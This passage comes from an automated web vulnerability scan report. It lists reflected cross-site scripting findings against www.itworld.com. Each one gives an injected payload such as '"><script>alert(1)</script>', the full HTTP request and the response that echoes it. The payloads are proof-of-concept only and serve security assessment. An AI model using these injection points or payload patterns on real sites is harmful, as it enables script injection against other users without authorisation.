Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460040"
Content-Type: text/html; charset=utf-8
Content-Length: 57445
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:46 GMT
X-Varnish: 1959723685
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites808c6"-alert(1)-"df287d62db8/all/modules/contrib/ajax_poll/ajax_poll.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.123. http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll/ajax_poll.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d4f4"><script>alert(1)</script>9c2c538f6a8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites9d4f4"><script>alert(1)</script>9c2c538f6a8/all/modules/contrib/ajax_poll/ajax_poll.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460016"
Content-Type: text/html; charset=utf-8
Content-Length: 57665
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:25 GMT
X-Varnish: 1959722824
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites9d4f4"><script>alert(1)</script>9c2c538f6a8/all/modules/contrib/ajax_poll/ajax_poll.js?h"/>
...[SNIP]...

1.124. http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll/ajax_poll.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 773bb"-alert(1)-"e186b3ba359 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib773bb"-alert(1)-"e186b3ba359/ajax_poll/ajax_poll.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460161"
Content-Type: text/html; charset=utf-8
Content-Length: 57446
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:46 GMT
X-Varnish: 252446502
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib773bb"-alert(1)-"e186b3ba359/ajax_poll/ajax_poll.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reques
...[SNIP]...

1.125. http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll/ajax_poll.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fb6d"><script>alert(1)</script>994429c83f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib5fb6d"><script>alert(1)</script>994429c83f/ajax_poll/ajax_poll.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460147"
Content-Type: text/html; charset=utf-8
Content-Length: 57655
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:30 GMT
X-Varnish: 252446301
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib5fb6d"><script>alert(1)</script>994429c83f/ajax_poll/ajax_poll.js?h"/>
...[SNIP]...

1.126. http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll/ajax_poll.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 497ae"-alert(1)-"878d9affe8e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ajax_poll/ajax_poll.js497ae"-alert(1)-"878d9affe8e?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460311"
Content-Type: text/html; charset=utf-8
Content-Length: 57452
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:18 GMT
X-Varnish: 1038159896
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ajax_poll/ajax_poll.js497ae"-alert(1)-"878d9affe8e";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.127. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc553"-alert(1)-"8bfb3a7cb5d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesdc553"-alert(1)-"8bfb3a7cb5d/all/modules/contrib/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459969"
Content-Type: text/html; charset=utf-8
Content-Length: 57605
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:33 GMT
X-Varnish: 1959721346
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesdc553"-alert(1)-"8bfb3a7cb5d/all/modules/contrib/ajax_poll_results/ajax_poll_results.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops!
...[SNIP]...

1.128. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4491"><script>alert(1)</script>6d4f7c695a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitese4491"><script>alert(1)</script>6d4f7c695a5/all/modules/contrib/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459949"
Content-Type: text/html; charset=utf-8
Content-Length: 57825
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:14 GMT
X-Varnish: 1959720902
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitese4491"><script>alert(1)</script>6d4f7c695a5/all/modules/contrib/ajax_poll_results/ajax_poll_results.js?h"/>
...[SNIP]...

1.129. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a1f8b"-alert(1)-"d07feee0cf4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/alla1f8b"-alert(1)-"d07feee0cf4/modules/contrib/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:50 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460050"
Content-Type: text/html; charset=utf-8
Content-Length: 57606
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:55 GMT
X-Varnish: 1959723999
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/alla1f8b"-alert(1)-"d07feee0cf4/modules/contrib/ajax_poll_results/ajax_poll_results.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We c
...[SNIP]...

1.130. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c90a2"><script>alert(1)</script>465275ca8f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allc90a2"><script>alert(1)</script>465275ca8f/modules/contrib/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460017"
Content-Type: text/html; charset=utf-8
Content-Length: 57814
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:36 GMT
X-Varnish: 1959722843
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/allc90a2"><script>alert(1)</script>465275ca8f/modules/contrib/ajax_poll_results/ajax_poll_results.js?h"/>
...[SNIP]...

1.131. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56493"><script>alert(1)</script>0d0a766abc9 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib56493"><script>alert(1)</script>0d0a766abc9/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460143"
Content-Type: text/html; charset=utf-8
Content-Length: 57825
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:42 GMT
X-Varnish: 252446223
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib56493"><script>alert(1)</script>0d0a766abc9/ajax_poll_results/ajax_poll_results.js?h"/>
...[SNIP]...

1.132. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f996"-alert(1)-"a0cc3ad341c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib2f996"-alert(1)-"a0cc3ad341c/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460188"
Content-Type: text/html; charset=utf-8
Content-Length: 57612
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:41 GMT
X-Varnish: 252446940
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib2f996"-alert(1)-"a0cc3ad341c/ajax_poll_results/ajax_poll_results.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.133. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 960ed"-alert(1)-"fccf2dd31b8 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js960ed"-alert(1)-"fccf2dd31b8?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460352"
Content-Type: text/html; charset=utf-8
Content-Length: 57612
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:54 GMT
X-Varnish: 1038161285
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js960ed"-alert(1)-"fccf2dd31b8";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.134. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3fd3d"-alert(1)-"36ba1e0eb12 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all3fd3d"-alert(1)-"36ba1e0eb12/modules/contrib/cluetip/cluetip/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

